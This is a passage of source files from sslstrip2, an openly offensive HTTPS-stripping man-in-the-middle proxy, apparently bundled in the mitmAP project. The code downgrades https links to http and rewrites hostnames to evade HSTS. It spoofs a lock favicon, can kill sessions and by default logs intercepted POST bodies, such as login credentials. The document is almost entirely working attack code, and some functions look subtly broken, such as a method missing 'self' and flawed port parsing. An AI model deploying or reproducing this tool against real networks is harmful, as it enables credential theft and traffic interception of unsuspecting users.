60 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
61 |
62 | logging.debug("Found path-relative link in secure transmission: " + link)
63 | logging.debug("New Absolute path-relative link: " + absoluteLink)
64 | elif not link.startswith('http'):
65 | absoluteLink = "http://"+self.headers['host']+link
66 |
67 | logging.debug("Found relative link in secure transmission: " + link)
68 | logging.debug("New Absolute link: " + absoluteLink)
69 |
70 | if not absoluteLink == "":
71 | absoluteLink = absoluteLink.replace('&', '&')
72 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
73 |
74 | def replaceCssLinks(self, data):
75 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
76 |
77 | for match in iterator:
78 | self.buildAbsoluteLink(match.group(1))
79 |
80 | return data
81 |
82 | def replaceFavicon(self, data):
83 | match = re.search(SSLServerConnection.iconExpression, data)
84 |
85 | if (match != None):
86 | data = re.sub(SSLServerConnection.iconExpression,
87 | "", data)
88 | else:
89 | data = re.sub(SSLServerConnection.headExpression,
90 | "", data)
91 |
92 | return data
93 |
94 | def replaceSecureLinks(self, data):
95 | data = ServerConnection.replaceSecureLinks(self, data)
96 | data = self.replaceCssLinks(data)
97 |
98 | if (self.urlMonitor.isFaviconSpoofing()):
99 | data = self.replaceFavicon(data)
100 |
101 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
102 |
103 | for match in iterator:
104 | self.buildAbsoluteLink(match.group(10))
105 |
106 | return data
107 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string, random, zlib, gzip, StringIO
20 |
21 | from twisted.web.http import HTTPClient
22 | from URLMonitor import URLMonitor
23 |
24 | class ServerConnection(HTTPClient):
25 |
26 | ''' The server connection is where we do the bulk of the stripping. Everything that
27 | comes back is examined. The headers we dont like are removed, and the links are stripped
28 | from HTTPS to HTTP.
29 | '''
30 |
31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32 | urlType = re.compile(r"https://", re.IGNORECASE)
33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
34 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
35 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
36 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
37 |
38 | def __init__(self, command, uri, postData, headers, client):
39 | self.command = command
40 | self.uri = uri
41 | self.postData = postData
42 | self.headers = headers
43 | self.client = client
44 | self.urlMonitor = URLMonitor.getInstance()
45 | self.isImageRequest = False
46 | self.isCompressed = False
47 | self.contentLength = None
48 | self.shutdownComplete = False
49 |
50 | def getLogLevel(self):
51 | return logging.DEBUG
52 |
53 | def getPostPrefix(self):
54 | return "POST"
55 |
56 | def sendRequest(self):
57 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
58 | self.sendCommand(self.command, self.uri)
59 |
60 | def sendHeaders(self):
61 | for header, value in self.headers.items():
62 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
63 | self.sendHeader(header, value)
64 |
65 | self.endHeaders()
66 |
67 | def sendPostData(self):
68 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
69 | self.transport.write(self.postData)
70 |
71 | def connectionMade(self):
72 | logging.log(self.getLogLevel(), "HTTP connection made.")
73 | self.sendRequest()
74 | self.sendHeaders()
75 |
76 | if (self.command == 'POST'):
77 | self.sendPostData()
78 |
79 | def handleStatus(self, version, code, message):
80 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
81 | self.client.setResponseCode(int(code), message)
82 |
83 | def handleHeader(self, key, value):
84 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
85 |
86 | if (key.lower() == 'location'):
87 | value = self.replaceSecureLinks(value)
88 |
89 | if (key.lower() == 'content-type'):
90 | if (value.find('image') != -1):
91 | self.isImageRequest = True
92 | logging.debug("Response is image content, not scanning...")
93 |
94 | if (key.lower() == 'content-encoding'):
95 | if (value.find('gzip') != -1):
96 | logging.debug("Response is compressed...")
97 | self.isCompressed = True
98 | elif (key.lower() == 'content-length'):
99 | self.contentLength = value
100 | elif (key.lower() == 'set-cookie'):
101 | self.client.responseHeaders.addRawHeader(key, value)
102 | else:
103 | self.client.setHeader(key, value)
104 |
105 | def handleEndHeaders(self):
106 | if (self.isImageRequest and self.contentLength != None):
107 | self.client.setHeader("Content-Length", self.contentLength)
108 |
109 | if self.length == 0:
110 | self.shutdown()
111 |
112 | def handleResponsePart(self, data):
113 | if (self.isImageRequest):
114 | self.client.write(data)
115 | else:
116 | HTTPClient.handleResponsePart(self, data)
117 |
118 | def handleResponseEnd(self):
119 | if (self.isImageRequest):
120 | self.shutdown()
121 | else:
122 | HTTPClient.handleResponseEnd(self)
123 |
124 | def handleResponse(self, data):
125 | if (self.isCompressed):
126 | logging.debug("Decompressing content...")
127 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
128 |
129 | #logging.log(self.getLogLevel(), "Read from server:\n" + data)
130 | logging.log(self.getLogLevel(), "Read from server:\n " )
131 |
132 |
133 | data = self.replaceSecureLinks(data)
134 |
135 | if (self.contentLength != None):
136 | self.client.setHeader('Content-Length', len(data))
137 |
138 | self.client.write(data)
139 | self.shutdown()
140 |
141 | def replaceSecureLinks(self, data):
142 | iterator = re.finditer(ServerConnection.urlExpression, data)
143 |
144 | for match in iterator:
145 | url = match.group()
146 |
147 | logging.debug("Found secure reference: " + url)
148 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
149 |
150 | data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
151 |
152 | iter2 = re.finditer(ServerConnection.urlToken1, data)
153 | for match in iter2:
154 | encontrado = match.group()
155 | logging.debug("Token find: "+encontrado+", parsing...")
156 |
157 | iter2 = re.finditer(ServerConnection.urlToken2, data)
158 | for match in iter2:
159 | encontrado = match.group()
160 | logging.debug("Token find: "+encontrado+", parsing....")
161 |
162 | #data = re.sub(ServerConnection.urlToken2, r'\1?ssltoken=1',data)
163 | #data = re.sub(ServerConnection.urlToken1, r'\1ssltoken=1&',data)
164 | return re.sub(ServerConnection.urlType, 'http://', data)
165 |
166 |
167 | def shutdown(self):
168 | if not self.shutdownComplete:
169 | self.shutdownComplete = True
170 | self.client.finish()
171 | self.transport.loseConnection()
172 |
173 |
174 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Server connection failed.")
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Retrying via SSL")
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | class URLMonitor:
22 |
23 | '''
24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
25 | server is expecting over SSL. It also keeps track of secure favicon urls.
26 | '''
27 |
28 | # Start the arms race, and end up here...
29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
30 | _instance = None
31 | sustitucion = {} # LEO: diccionario host / sustitucion
32 | real = {} # LEO: diccionario host / sustitucion
33 |
34 | def __init__(self):
35 | self.strippedURLs = set()
36 | self.strippedURLPorts = {}
37 | self.faviconReplacement = False
38 | self.sustitucion["mail.google.com"] = "gmail.google.com"
39 | self.real["gmail.google.com"] = "mail.google.com"
40 |
41 |
42 | def isSecureLink(self, client, url):
43 | for expression in URLMonitor.javascriptTrickery:
44 | if (re.match(expression, url)):
45 | return True
46 |
47 | return (client,url) in self.strippedURLs
48 |
49 | def getSecurePort(self, client, url):
50 | if (client,url) in self.strippedURLs:
51 | return self.strippedURLPorts[(client,url)]
52 | else:
53 | return 443
54 |
55 | def addSecureLink(self, client, url):
56 | methodIndex = url.find("//") + 2
57 | method = url[0:methodIndex]
58 |
59 | pathIndex = url.find("/", methodIndex)
60 | host = url[methodIndex:pathIndex]
61 | path = url[pathIndex:]
62 |
63 | port = 443
64 | portIndex = host.find(":")
65 |
66 | if (portIndex != -1):
67 | host = host[0:portIndex]
68 | port = host[portIndex+1:]
69 | if len(port) == 0:
70 | port = 443
71 |
72 | #LEO: Sustituir HOST
73 |
74 | if self.sustitucion.has_key(host.lower()):
75 | host = self.sustitucion[host.lower()]
76 | else:
77 | lhost = host.lower()[:4]
78 | if lhost=="www.":
79 | self.sustitucion[host.lower()] = "w"+host.lower()
80 | self.real["w"+host.lower()] = host.lower()
81 | else:
82 | self.sustitucion[host.lower()] = "web."+host.lower()
83 | self.real["web."+host.lower()] = host.lower()
84 |
85 | url = method + host + path
86 |
87 | self.strippedURLs.add((client, url))
88 | self.strippedURLPorts[(client, url)] = int(port)
89 |
90 | def setFaviconSpoofing(self, faviconSpoofing):
91 | self.faviconSpoofing = faviconSpoofing
92 |
93 | def isFaviconSpoofing(self):
94 | return self.faviconSpoofing
95 |
96 | def isSecureFavicon(self, client, url):
97 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
98 |
99 | def URLgetRealHost(host):
100 | if self.real.has_key(host):
101 | return self.real[host]
102 | else:
103 | return host
104 |
105 | def getInstance():
106 | if URLMonitor._instance == None:
107 | URLMonitor._instance = URLMonitor()
108 |
109 | return URLMonitor._instance
110 |
111 | getInstance = staticmethod(getInstance)
112 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/scripts-2.6/sslstrip:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike && Version b by Leonardo Nve"
6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9 Adv"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Version Adv by Leonardo Nve"
41 | print "Usage: sslstrip \n"
42 | print "Options:"
43 | print "-w , --write= Specify file to log to (optional)."
44 | print "-p , --post Log only SSL POSTs. (default)"
45 | print "-s , --ssl Log all SSL traffic to and from server."
46 | print "-a , --all Log all SSL and HTTP traffic to and from server."
47 | print "-l , --listen= Port to listen on (default 10000)."
48 | print "-f , --favicon Substitute a lock favicon on secure requests."
49 | print "-k , --killsessions Kill sessions in progress."
50 | print "-h Print this help message."
51 | print ""
52 |
53 | def parseOptions(argv):
54 | logFile = 'sslstrip.log'
55 | logLevel = logging.WARNING
56 | listenPort = 10000
57 | spoofFavicon = False
58 | killSessions = False
59 |
60 | try:
61 | opts, args = getopt.getopt(argv, "hw:l:psafk",
62 | ["help", "write=", "post", "ssl", "all", "listen=",
63 | "favicon", "killsessions"])
64 |
65 | for opt, arg in opts:
66 | if opt in ("-h", "--help"):
67 | usage()
68 | sys.exit()
69 | elif opt in ("-w", "--write"):
70 | logFile = arg
71 | elif opt in ("-p", "--post"):
72 | logLevel = logging.WARNING
73 | elif opt in ("-s", "--ssl"):
74 | logLevel = logging.INFO
75 | elif opt in ("-a", "--all"):
76 | logLevel = logging.DEBUG
77 | elif opt in ("-l", "--listen"):
78 | listenPort = arg
79 | elif opt in ("-f", "--favicon"):
80 | spoofFavicon = True
81 | elif opt in ("-k", "--killsessions"):
82 | killSessions = True
83 |
84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
85 |
86 | except getopt.GetoptError:
87 | usage()
88 | sys.exit(2)
89 |
90 | def main(argv):
91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
92 |
93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
94 | filename=logFile, filemode='w')
95 |
96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
97 | CookieCleaner.getInstance().setEnabled(killSessions)
98 |
99 | strippingFactory = http.HTTPFactory(timeout=10)
100 | strippingFactory.protocol = StrippingProxy
101 |
102 | reactor.listenTCP(int(listenPort), strippingFactory)
103 |
104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
105 | print "Adv POC by Leonardo Nve"
106 |
107 | reactor.run()
108 |
109 | if __name__ == '__main__':
110 | main(sys.argv[1:])
111 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/scripts-2.7/sslstrip:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9b"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Version b by Leonardo Nve"
41 | print "Usage: sslstrip \n"
42 | print "Options:"
43 | print "-w , --write= Specify file to log to (optional)."
44 | print "-p , --post Log only SSL POSTs. (default)"
45 | print "-s , --ssl Log all SSL traffic to and from server."
46 | print "-a , --all Log all SSL and HTTP traffic to and from server."
47 | print "-l , --listen= Port to listen on (default 10000)."
48 | print "-f , --favicon Substitute a lock favicon on secure requests."
49 | print "-k , --killsessions Kill sessions in progress."
50 | print "-h Print this help message."
51 | print ""
52 |
53 | def parseOptions(argv):
54 | logFile = 'sslstrip.log'
55 | logLevel = logging.WARNING
56 | listenPort = 10000
57 | spoofFavicon = False
58 | killSessions = False
59 |
60 | try:
61 | opts, args = getopt.getopt(argv, "hw:l:psafk",
62 | ["help", "write=", "post", "ssl", "all", "listen=",
63 | "favicon", "killsessions"])
64 |
65 | for opt, arg in opts:
66 | if opt in ("-h", "--help"):
67 | usage()
68 | sys.exit()
69 | elif opt in ("-w", "--write"):
70 | logFile = arg
71 | elif opt in ("-p", "--post"):
72 | logLevel = logging.WARNING
73 | elif opt in ("-s", "--ssl"):
74 | logLevel = logging.INFO
75 | elif opt in ("-a", "--all"):
76 | logLevel = logging.DEBUG
77 | elif opt in ("-l", "--listen"):
78 | listenPort = arg
79 | elif opt in ("-f", "--favicon"):
80 | spoofFavicon = True
81 | elif opt in ("-k", "--killsessions"):
82 | killSessions = True
83 |
84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
85 |
86 | except getopt.GetoptError:
87 | usage()
88 | sys.exit(2)
89 |
90 | def main(argv):
91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
92 |
93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
94 | filename=logFile, filemode='w')
95 |
96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
97 | CookieCleaner.getInstance().setEnabled(killSessions)
98 |
99 | strippingFactory = http.HTTPFactory(timeout=10)
100 | strippingFactory.protocol = StrippingProxy
101 |
102 | reactor.listenTCP(int(listenPort), strippingFactory)
103 |
104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
105 |
106 | reactor.run()
107 |
108 | if __name__ == '__main__':
109 | main(sys.argv[1:])
110 |
--------------------------------------------------------------------------------
/src/sslstrip2/lock.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/lock.ico
--------------------------------------------------------------------------------
/src/sslstrip2/setup.py:
--------------------------------------------------------------------------------
1 | import sys, os, shutil
2 | from distutils.core import setup, Extension
3 |
4 |
5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip")
6 |
7 | setup (name = 'sslstrip',
8 | version = '0.9',
9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.',
10 | author = 'Moxie Marlinspike',
11 | author_email = 'moxie@thoughtcrime.org',
12 | url = 'http://www.thoughtcrime.org/software/sslstrip/',
13 | license = 'GPL',
14 | packages = ["sslstrip"],
15 | package_dir = {'sslstrip' : 'sslstrip/'},
16 | scripts = ['sslstrip/sslstrip'],
17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])],
18 | )
19 |
20 | print "Cleaning up..."
21 | try:
22 | removeall("build/")
23 | os.rmdir("build/")
24 | except:
25 | pass
26 |
27 | try:
28 | os.remove("sslstrip/sslstrip")
29 | except:
30 | pass
31 |
32 | def capture(cmd):
33 | return os.popen(cmd).read().strip()
34 |
35 | def removeall(path):
36 | if not os.path.isdir(path):
37 | return
38 |
39 | files=os.listdir(path)
40 |
41 | for x in files:
42 | fullpath=os.path.join(path, x)
43 | if os.path.isfile(fullpath):
44 | f=os.remove
45 | rmgeneric(fullpath, f)
46 | elif os.path.isdir(fullpath):
47 | removeall(fullpath)
48 | f=os.rmdir
49 | rmgeneric(fullpath, f)
50 |
51 | def rmgeneric(path, __func__):
52 | try:
53 | __func__(path)
54 | except OSError, (errno, strerror):
55 | pass
56 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike && Version + by Leonardo Nve"
6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9 +"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Version + by Leonardo Nve"
41 | print "Usage: sslstrip \n"
42 | print "Options:"
43 | print "-w , --write= Specify file to log to (optional)."
44 | print "-p , --post Log only SSL POSTs. (default)"
45 | print "-s , --ssl Log all SSL traffic to and from server."
46 | print "-a , --all Log all SSL and HTTP traffic to and from server."
47 | print "-l , --listen= Port to listen on (default 10000)."
48 | print "-f , --favicon Substitute a lock favicon on secure requests."
49 | print "-k , --killsessions Kill sessions in progress."
50 | print "-h Print this help message."
51 | print ""
52 |
53 | def parseOptions(argv):
54 | logFile = 'sslstrip.log'
55 | logLevel = logging.WARNING
56 | listenPort = 10000
57 | spoofFavicon = False
58 | killSessions = False
59 |
60 | try:
61 | opts, args = getopt.getopt(argv, "hw:l:psafk",
62 | ["help", "write=", "post", "ssl", "all", "listen=",
63 | "favicon", "killsessions"])
64 |
65 | for opt, arg in opts:
66 | if opt in ("-h", "--help"):
67 | usage()
68 | sys.exit()
69 | elif opt in ("-w", "--write"):
70 | logFile = arg
71 | elif opt in ("-p", "--post"):
72 | logLevel = logging.WARNING
73 | elif opt in ("-s", "--ssl"):
74 | logLevel = logging.INFO
75 | elif opt in ("-a", "--all"):
76 | logLevel = logging.DEBUG
77 | elif opt in ("-l", "--listen"):
78 | listenPort = arg
79 | elif opt in ("-f", "--favicon"):
80 | spoofFavicon = True
81 | elif opt in ("-k", "--killsessions"):
82 | killSessions = True
83 |
84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
85 |
86 | except getopt.GetoptError:
87 | usage()
88 | sys.exit(2)
89 |
90 | def main(argv):
91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
92 |
93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
94 | filename=logFile, filemode='w')
95 |
96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
97 | CookieCleaner.getInstance().setEnabled(killSessions)
98 |
99 | strippingFactory = http.HTTPFactory(timeout=10)
100 | strippingFactory.protocol = StrippingProxy
101 |
102 | reactor.listenTCP(int(listenPort), strippingFactory)
103 |
104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
105 | print "+ POC by Leonardo Nve"
106 |
107 | reactor.run()
108 |
109 | if __name__ == '__main__':
110 | main(sys.argv[1:])
111 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ClientRequest.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import urlparse, logging, os, sys, random, re
20 |
21 | from twisted.web.http import Request
22 | from twisted.web.http import HTTPChannel
23 | from twisted.web.http import HTTPClient
24 |
25 | from twisted.internet import ssl
26 | from twisted.internet import defer
27 | from twisted.internet import reactor
28 | from twisted.internet.protocol import ClientFactory
29 |
30 | from ServerConnectionFactory import ServerConnectionFactory
31 | from ServerConnection import ServerConnection
32 | from SSLServerConnection import SSLServerConnection
33 | from URLMonitor import URLMonitor
34 | from CookieCleaner import CookieCleaner
35 | from DnsCache import DnsCache
36 |
37 | def NUEVO_LOG(str):
38 | return
39 |
40 | class ClientRequest(Request):
41 |
42 | ''' This class represents incoming client requests and is essentially where
43 | the magic begins. Here we remove the client headers we dont like, and then
44 | respond with either favicon spoofing, session denial, or proxy through HTTP
45 | or SSL to the server.
46 | '''
47 |
48 | def __init__(self, channel, queued, reactor=reactor):
49 | Request.__init__(self, channel, queued)
50 | self.reactor = reactor
51 | self.urlMonitor = URLMonitor.getInstance()
52 | self.cookieCleaner = CookieCleaner.getInstance()
53 | self.dnsCache = DnsCache.getInstance()
54 | # self.uniqueId = random.randint(0, 10000)
55 |
56 | def cleanHeaders(self):
57 | headers = self.getAllHeaders().copy()
58 | if 'accept-encoding' in headers:
59 | del headers['accept-encoding']
60 |
61 | if 'referer' in headers:
62 | real = self.urlMonitor.real
63 | if len(real)>0:
64 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
65 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
66 |
67 | if 'if-modified-since' in headers:
68 | del headers['if-modified-since']
69 |
70 | if 'cache-control' in headers:
71 | del headers['cache-control']
72 |
73 | if 'if-none-match' in headers:
74 | del headers['if-none-match']
75 |
76 | if 'host' in headers:
77 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host'])
78 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host))
79 | headers['host'] = host
80 | #headers['securelink'] = '1'
81 | self.setHeader('Host',host)
82 |
83 | return headers
84 |
85 | def getPathFromUri(self):
86 | if (self.uri.find("http://") == 0):
87 | index = self.uri.find('/', 7)
88 | return self.uri[index:]
89 |
90 | return self.uri
91 |
92 |
93 | def getPathToLockIcon(self):
94 | if os.path.exists("lock.ico"): return "lock.ico"
95 |
96 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
97 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
98 |
